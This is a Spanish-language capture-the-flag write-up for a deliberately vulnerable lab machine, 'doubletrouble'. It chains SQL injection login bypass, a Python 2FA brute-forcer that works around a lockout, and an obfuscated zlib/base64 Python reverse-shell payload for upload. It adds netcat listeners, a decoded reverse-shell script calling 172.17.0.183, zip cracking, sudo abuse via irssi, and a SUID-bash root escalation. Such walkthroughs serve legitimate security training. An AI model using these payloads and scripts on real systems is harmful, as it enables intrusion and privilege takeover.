Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzipdoubletrouble.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_deploy.shdoubletrouble.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap-p---open-sS--min-rate5000-vvv-n-Pn<IP>
nmap-sCV-p<PORTS><IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-16 11:42 EST
Nmap scan report for express.dl (172.17.0.2)
Host is up (0.000027s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Iniciar Sesi\xC3\xB3n
|_http-server-header: Apache/2.4.62 (Debian)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.26 seconds
Si entramos en la pagina vemos un panel de login, en el que si intentamos un SQL Injection se lo tragara y nos mostrara la opcion de cuando nos hemos logeado:
En esta veremos lo que parece ser un 2FA por lo que vamos a realizar fuerza bruta con un script que nos montaremos en python3 (hay que tener en cuenta que cuando se alcanza 3 intentos te lleva al login, por lo que tambien hay que controlar eso en el script):
2faBrute.py
import requestsimport sys# Configuración inicialURL_LOGIN ="http://172.17.0.2/index.php"URL_2FA ="http://172.17.0.2/2fa.php"USUARIO ="admin' or 1=1-- -"CONTRASEÑA ="admin' or 1=1-- -"MAX_INTENTOS =3# Número máximo de intentos antes de reintentar autenticación inicial# Crear una sesión para mantener cookiessesion = requests.Session()definiciar_sesion():""" Realiza la autenticación inicial y devuelve True si es exitosa. """ datos_login ={"username": USUARIO,"password": CONTRASEÑA} headers ={"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"}print("[*] Intentando autenticación inicial...") respuesta = sesion.post(URL_LOGIN, data=datos_login, headers=headers)if respuesta.status_code ==200and"Verificación de 2FA"in respuesta.text:print("[+] Autenticación inicial completada con éxito.")returnTrueelse:print("[-] Error en la autenticación inicial.")returnFalsedefprobar_2fa(codigo):""" Envía un código 2FA y verifica si es correcto. """ datos_2fa ={"code": codigo} headers ={"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"} respuesta = sesion.post(URL_2FA, data=datos_2fa, headers=headers)if respuesta.status_code ==200:if"Código incorrecto"in respuesta.text:returnFalseelse:print(f"[+] ¡Código correcto encontrado!: {codigo}")returnTruereturnFalsedeffuerza_bruta_2fa(diccionario):""" Realiza la fuerza bruta utilizando códigos de un diccionario. """ intentos =0for codigo in diccionario: codigo = codigo.strip()# Eliminar espacios en blanco o saltos de líneaprint(f"[*] Probando código: {codigo}")# Intentar autenticación 2FAifprobar_2fa(codigo):print("[+] Fuerza bruta exitosa.")return# Salir si encontramos el código correcto intentos +=1# Reautenticación si se alcanza el límite de intentosif intentos >= MAX_INTENTOS:print(f"[!] Se alcanzó el límite de intentos ({MAX_INTENTOS}). Reautenticando...")ifnotiniciar_sesion():print("[-] No se pudo reautenticar. Deteniendo el proceso.")return intentos =0print("[-] Fuerza bruta completada. No se encontró un código válido.")if__name__=="__main__":iflen(sys.argv)<2:print("Uso: python3 script.py <archivo_diccionario>") sys.exit(1) archivo_diccionario = sys.argv[1]# Leer los códigos del archivo de diccionariotry:withopen(archivo_diccionario, "r")as f: codigos_diccionario = f.readlines()exceptFileNotFoundError:print(f"Error: No se encontró el archivo '{archivo_diccionario}'") sys.exit(1)# Iniciar fuerza brutaifiniciar_sesion():fuerza_bruta_2fa(codigos_diccionario)
generate2fadic.py
#!/bin/python3# Archivo de salidaoutput_file ="diccionario.txt"# Abrir el archivo en modo escriturawithopen(output_file, "w")as file:# Generar todas las combinaciones de 4 dígitosfor i inrange(10000):# Desde 0 hasta 9999# Formatear el número como cadena de 4 dígitos (ejemplo: 0001, 0123) code =f"{i:04}"# Escribir la combinación en el archivo file.write(code +"\n")print(f"Diccionario generado exitosamente en {output_file}")
Primero vamos a ejecutar el generate2fadic.py para que nos genere el diccionario de nuemro:
python3generate2fadic.py
Info:
Diccionario generado exitosamente en diccionario.txt
Y una vez echo esto, ejecutaremos el siguiente script de la siguiente forma:
python32faBrute.pydiccionario.txt
Info:
..............................
[*] Probando código: 0144
[*] Probando código: 0145
[*] Probando código: 0146
[!] Se alcanzó el límite de intentos (3). Reautenticando...
[*] Intentando autenticación inicial...
[+] Autenticación inicial completada con éxito.
[*] Probando código: 0147
[*] Probando código: 0148
[*] Probando código: 0149
[!] Se alcanzó el límite de intentos (3). Reautenticando...
[*] Intentando autenticación inicial...
[+] Autenticación inicial completada con éxito.
[*] Probando código: 0150
[+] ¡Código correcto encontrado!: 0150
[+] Fuerza bruta exitosa.
Vemos que el numero es el 0150 por lo que si lo ingresamos, veremos lo siguiente:
Escalate user www-data
Vamos a probar a subir un archivo con una reverse shell, pero vemos que solo nos deja los archivos .py por lo que haremos lo siguiente.
# Python obfuscation by freecodingtools.org_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'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'))
Antes de subirlo nos pondremos a la escucha:
nc-lvnp<PORT>
Ahora si subimos el archivo y carga la pagina, cuando volvamos a la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.120.128] from (UNKNOWN) [172.17.0.2] 44498
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@8a98f880c087:/$
# <Ctrl> + <z>sttyraw-echo; fgresetxtermexport TERM=xtermexport SHELL=/bin/bash# Para ver las dimensiones de nuestra consola en el Hoststtysize# Para redimensionar la consola ajustando los parametros adecuadossttyrows<ROWS>columns<COLUMNS>
Escalate user maci
Si vemos que archivos ha creado el usuario maci:
find/-typef-usermaci2>/dev/null
Info:
/var/backups/.maci/.-/-/archivo500.zip
Vemos que es un .zip pero tiene toda la pinta de que hay 500 ZIPs comprimidos, por lo que tendremos que crear un script para descomprimir todos a la vez, pero que se quede en el ultimo ZIP, por lo que cuando el script detecte que esta en el archivo0.zip que pare:
unzip.sh
#!/bin/bash# Archivo ZIP principal que contiene otros archivos ZIPZIP_PRINCIPAL="archivo500.zip"# Directorio donde se extraerán los archivosDIRECTORIO_EXTRAER="extraido"# Crear el directorio de extracción si no existemkdir-p"$DIRECTORIO_EXTRAER"# Descomprimir el archivo principalecho"Descomprimiendo el archivo principal: $ZIP_PRINCIPAL"unzip-q"$ZIP_PRINCIPAL"-d"$DIRECTORIO_EXTRAER"# Comenzar el bucle desde 500 hasta 1for i in $(seq500-11)do# Si el número es mayor que 9 y menor que 100, es decir, de 10 a 99, usamos el formato normal ZIP_FILE="$DIRECTORIO_EXTRAER/archivo$i.zip"# Verificar si el archivo existeif [ -f"$ZIP_FILE" ]; then# Mostrar cuál archivo ZIP estamos descomprimiendoecho"Descomprimiendo $ZIP_FILE..."# Descomprimir el archivo ZIPunzip-q"$ZIP_FILE"-d"$DIRECTORIO_EXTRAER"# Eliminar el archivo ZIP después de descomprimirlo (si lo deseas)rm-f"$ZIP_FILE"elseecho"No se encontró $ZIP_FILE. Saltando..."fidoneecho"Proceso completado."
Pero antes de ejecutarlo nos pasaremos el archivo a nuestro host:
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
12345678 (archivo0.zip/pass.txt)
1g 0:00:00:00 DONE (2025-01-16 13:03) 9.090g/s 74472p/s 74472c/s 74472C/s 123456..whitetiger
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Vemos que la contraseña del ZIP es 12345678 por lo que haremos lo siguiente:
unziparchivo0.zip
Metemos como contraseña 12345678 y veremos que se descomprimio bien, viendo lo siguiente:
Por lo que vemos obtenemos las credenciales del usuario maci, por lo que nos cambiaremos a dicho ususario.
En la maquina victima pondremos lo siguiente:
sumaci
Metemos como contraseña 49392923 y veremos que somos dicho usuario.
Escalate user darksblack
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for maci on b4145e7ece7c:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User maci may run the following commands on b4145e7ece7c:
(darksblack) NOPASSWD: /usr/bin/irssi
Vemos que podemos ejecutar el binario irssi como el usuario darksblack, por lo que vamos a buscar informacion sobre dicho binario.
En la siguiente pagina vemos informacion bastante importante, se explica que se puede ejecutar un script con /run cuando se ejecuta el binario y que solo utiliza lenguaje de programacion en Perl:
Ahora si nos vamos a donde teniamos la escucha, veremos lo siguiente:
listening on [any] 7755 ...
connect to [192.168.120.128] from (UNKNOWN) [172.17.0.2] 35466
darksblack@b4145e7ece7c:/tmp$ whoami
whoami
darksblack
Veremos que somos dicho usuario.
Escalate user juan
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for darksblack on b4145e7ece7c:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User darksblack may run the following commands on b4145e7ece7c:
(juan) NOPASSWD: /usr/bin/python3 /home/juan/shell.py
(juan) NOPASSWD: /bin/cat /home/juan/shell.py
Vemos que podemos ejecutar los siguientes comandos como el usuario juan por lo que primero ejecutaremos el cat para visualizar el script y ver que hace:
Vemos que hay muchos numeros, pero que parece tener un patron ascii por lo que vamos a crear un script para eliminar todo lo que no sea numeros y dejarlo limpio con solo numeros.
clearAscii.sh
#!/bin/bash# Verifica si se pasa un archivo como argumentoif [ -z"$1" ]; thenecho"Por favor, pasa el archivo .py como argumento."exit1fi# Extrae los números del archivo .py y los guarda en numeros.txtgrep-o'[0-9]\+'"$1"|tr'\n'' '>numeros.txtecho"Los números se han guardado en numeros.txt."
Vamos a ejecutarlo de la siguiente forma (Hay que copiar el contenido del shell.py y pasarnoslo a nuestro host para realizar todo esto):
Ahora vamos a crearnos un script que nos decodifique esto a texto plano, para enternder el codigo:
decodeAscii.sh
#!/bin/bash# Comprueba si se han proporcionado los argumentos necesariosif [ "$#"-ne2 ]; thenecho"Uso: $0 <archivo_ascii.txt> <archivo_salida.txt>"echo"Ejemplo: $0 entrada_ascii.txt salida_texto.txt"exit1fi# Archivos de entrada y salidaarchivo_ascii="$1"archivo_salida="$2"# Comprueba si el archivo de entrada existeif [ !-f"$archivo_ascii" ]; thenecho"El archivo $archivo_ascii no existe."exit1fi# Limpia o crea el archivo de salida>"$archivo_salida"# Lee cada línea del archivo de entrada, convierte los códigos ASCII y escribe en el archivo de salidawhile IFS=read-rlinea; do# Convierte cada número ASCII a carácter y concatena texto=$(echo"$linea"|awk'{for (i=1; i<=NF; i++) printf "%c", $i}')echo"$texto">>"$archivo_salida"done<"$archivo_ascii"echo"Conversión completada. El resultado está en $archivo_salida."
Lo ejecutaremos de la siguiente forma:
bashdecodeAscii.shnumeros.txtoutputfile.txt
Info:
Conversión completada. El resultado está en outputfile.txt.
Vemos que el codigo nos lo esta proporcionando en Base64 y Base32 por lo que vamos a probar a decodificarlo, creando el siguiente script de python3 super simple:
decodeBases.py
import base64# Cadena codificadaencoded_string = 'MFLTC53CGNFDASKIJY2WG53QOBRFQQTWMNXFCZ3CGNGUWYKXGF3WEM2KGBEUQTRRLFXEE6LCGJHGYYZTJVFWCVZRO5RDGSRQJFEE45SZGJ2GYZCBOBYGEWCCOYFGG3SRM5SEO3DULJIW6S2TIU4VIVSDIE4USQ2JPBHHUSLVJVKGG5KNIM2HQT2EJVUUG3CCKBKWYULHKBJUCMKNIRAXSQ3HOBVVUV2ZM5MTEOLVMJWVM2TEINUG6CTCGNHDATCDIJ3WEM2KGBFVI32LJFBUCZ2JJBGWOUCTIJ5GEMSOOJNFQULVMMZDS2TBGJLDAS2IJZ3FSMTUNRSEGNKCKJWDSSSUNNLFKTCDIJ5GEMSOOJNFQULVBJKTAOKEKMYTSVCWIZFEMUKVGBYEG2KBM5EUGQT2JRWU45TCNU2WYWJTKFXUWR3IOZRTGULTJFEEE5TDNZIXAS2RN5TUSQ2BM5RW2VRQMRMEU5KJJBGUWQ3NKJWAUWTJIIZVSV3MGBMDEWTWMNWDS2TCGIYXIWKXGVVUWSCNOBHWO33HJFBUCZ22I5DDAWKTIE4USSCNOVRW2VTKMRUWO6CNIRETAS2RN5TUSQ2BM5QVOWLHLJDUMMAKLFJUCOKQKNAWSY2YKZYGIRTYOVEWU32LJFBUCZ2JINAWOSKDIJ5EY3KOONRDGTTMJNBWWS2JINAWOSKDIFTUSQ2CPJSVQTLVLJMGQ4DEINTXOS2RN5TUSQ2BM4FES6KCGBQUOVLHMMZDS2TBGJLDASKHKJYFUV2RJNEUGQLHJFDVM43BK5MWOYSHKZ2UWR2SNBSEORLQJFCDAOKJIRATMQ3JIFTUSQ2BM5EUGQLHJFBUCZ2JINAWOSKDIFTWGM2SNNRDGVRQKBME4MKZNZBHSYRSJZWAUYZTJV2VKRLMKFJFG53HMMZVE222LBFHSUCYJYYVS3SCPFRDETTMMMZU25KVIVWFCUSTO5FUSQ2BM5EUGQLHJFBUCZ2JINAWOSKDIFTUSQ2BM5EUGQLHJFBUCZYKJFBUCZ2JINAWOSKDIJ5GIR2SOBRGUML2MRLUU53DNU4WUWSYJZ5EY3CCJJKUKVLQINUUCZ2JINAWOSKDIFTWG6JVPJNFONLLJNEE4MC2I44TCCTEIY4TEWKXPAYVUU3LJNEUGQLHJFBUCZ2JINBHSWSYKIYWG3JUM5JG2RTTMMZFKS2DNVJGYWTJIJ2FSV3MOVFUG2ZWINUUCZ2JINBDGYKHNRZVUU2CKVRW4VTMBJHWO33HJFBUCZ2JINAWOSKIJZ3FSMTUNRSEMOLLMFLVM22JIQYGOUTNIZZWGMSVJNEUGQLHJFBUCZ2JINBDAY3ONM3EG2KBM5EUGQLHJFBUCZ2JINAWOSKIJVTQUUCTIJVGEMRVOVNFOTRQJNCWQUCVGFIXGSKGIJIFK3CROBBWSQLHJFBUCZ2JINAWOSKDIFTUSSDEN5QVO6DMJFDTK5TEINBHUYRSJZZFUWCSMZNEO3DMLJCG6SYKJFBUCZ2JINAWOSKDIFTUSQ2BM5EUGQLHJFEE45SZGJ2GYZCGHFVWCV2WNNEUIMDHMQZEM4DEIY4W2YRTJJTFSMRZORRFORTVLJBWQ6SLKFXWOSKDIFTUSQ2BM4FESQ2BM5EUGQT2JRWU443CGNHGYS2DNNFUSQ2BM5EUGQLHJFBUE3DFI5HGYY2IKFTWGMRZNJQTEVRQJRWVM6LDNU4XST3HN5TUSQ2BM5EUGQLHJFBUCZ2JINBHOCSZLBHHUQ3JIFTUSQ2BM5EUGQLHMRDWY5C2KM2XUYSHKZWGGQ3HGFFVC32LMFLVSZ2YGE4XKWKXGFWFQMJYM5IFIMDHJFWDSZTCK5DHAYTMHFTES2TPJNEUGQLHBJEUQTRVMN4TK3DFI5WDAS2HGFUGCVZUN5FVG22LBI======'
# Decodifica la cadena primero de Base32 y luego de Base64decoded_data = base64.b64decode(base64.b32decode(encoded_string))# Muestra el resultadoprint(decoded_data.decode('utf-8'))
Lo utilizamos de la siguiente forma:
python3decodeBases.py
Info:
import sysimport osimport subprocessimport socketimport timeHOST ="172.17.0.183"PORT =5002defconnect(host,port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port))return sdefwait_for_command(s): data = s.recv(1024)if data =="quit\n": s.close() sys.exit(0)# the socket diedeliflen(data)==0: stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) s.send(stdout_value)returnFalsedefmain():whileTrue: socket_died =Falsetry: s =connect(HOST, PORT)whilenot socket_died: socket_died =wait_for_command(s) s.close()except socket.error:pass time.sleep(5)if__name__=="__main__": sys.exit(main())
Vemos que el codigo de shell.py esta haciendo una reverse shell hacia un puerto e IP en concreto, por lo que tendremos que cambiar nuestra IP por la del script y escuchar en dicho puerto.
En nuestra maquina host haremos lo siguiente:
sudoipaddradd172.17.0.183/16devdocker0
Ahora si vemos que IP tenemos:
ipaddrshowdocker0
Info:
ip addr show docker0
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:12:3e:c2:85 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
inet 172.17.0.183/16 scope global secondary docker0
valid_lft forever preferred_lft forever
inet6 fe80::42:12ff:fe3e:c285/64 scope link proto kernel_ll
valid_lft forever preferred_lft forever
Vemos que ahora tenemos 2 IP's, por lo que ha funcionado añadiendo la IP del script, por lo que si ahora nos ponemos a la escucha:
nc-lvnp5002
Y en la maquina victima ejecutamos lo siguiente:
sudo-ujuan/usr/bin/python3/home/juan/shell.py
Si nos volvemos a la escucha veremos lo siguiente:
listening on [any] 5002 ...
connect to [172.17.0.183] from (UNKNOWN) [172.17.0.2] 47014
whoami
juan
Por lo que vemos ha funcionado y seremos el usuario juan.
Escalate Privileges
Cuando pasa un rato vemos que nos echa de la shell por lo que vamos a ponernos de nuevo a la escucha:
nc-lvnp5002
Y en la maquina victima ejecutamos otra vez esto:
sudo-ujuan/usr/bin/python3/home/juan/shell.py
Volviendo a la escucha, veremos que obtenemos de nuevo la shell pero esta vez rapidamente vamos a ejecutar de forma seguida lo siguiente con el usuario juan:
Pero antes de enviarlo nos pondremos a la escucha sobre dicho puerto que vamos a enviar:
nc-lvnp<PORT>
Y cuando ejecutemos lo anterior si volvemos a donde estabamos escuchando, veremos que hemos obtenido una shell con el mismo usuario juan pero esta vez no nos echara.
Sanitización de shell (TTY)
script/dev/null-cbash
# <Ctrl> + <z>sttyraw-echo; fgresetxtermexport TERM=xtermexport SHELL=/bin/bash# Para ver las dimensiones de nuestra consola en el Hoststtysize# Para redimensionar la consola ajustando los parametros adecuadossttyrows<ROWS>columns<COLUMNS>
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for juan on 3c279e99f11b:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User juan may run the following commands on 3c279e99f11b:
(ALL : ALL) NOPASSWD: /home/juan/mensajes.sh
Vemos que podemos ejecutar el script mensajes.sh como el usuario root, por lo que haremos lo siguiente:
Si vemos donde esta ubicado el archivo, vemos que esta en nuestra home por lo que podremos eliminar el archivo y crear uno llamado de la misma forma para poner con permisos SUID la bash.
rm/home/juan/mensajes.sh
Una vez que lo hayamos eliminado, crearemos el mismo archivo con esto dentro:
nano/home/juan/mensajes.sh#Dentro del nano#!/bin/bashchmodu+s/bin/bash
Lo guardamos y le damos permisos de ejecuccion:
chmod+x/home/juan/mensajes.sh
Una vez echo todo esto, lo ejecutaremos como el usuario root.
sudo/home/juan/mensajes.sh
Ahora si listamos la bash veremos lo siguiente:
ls-la/bin/bash
Info:
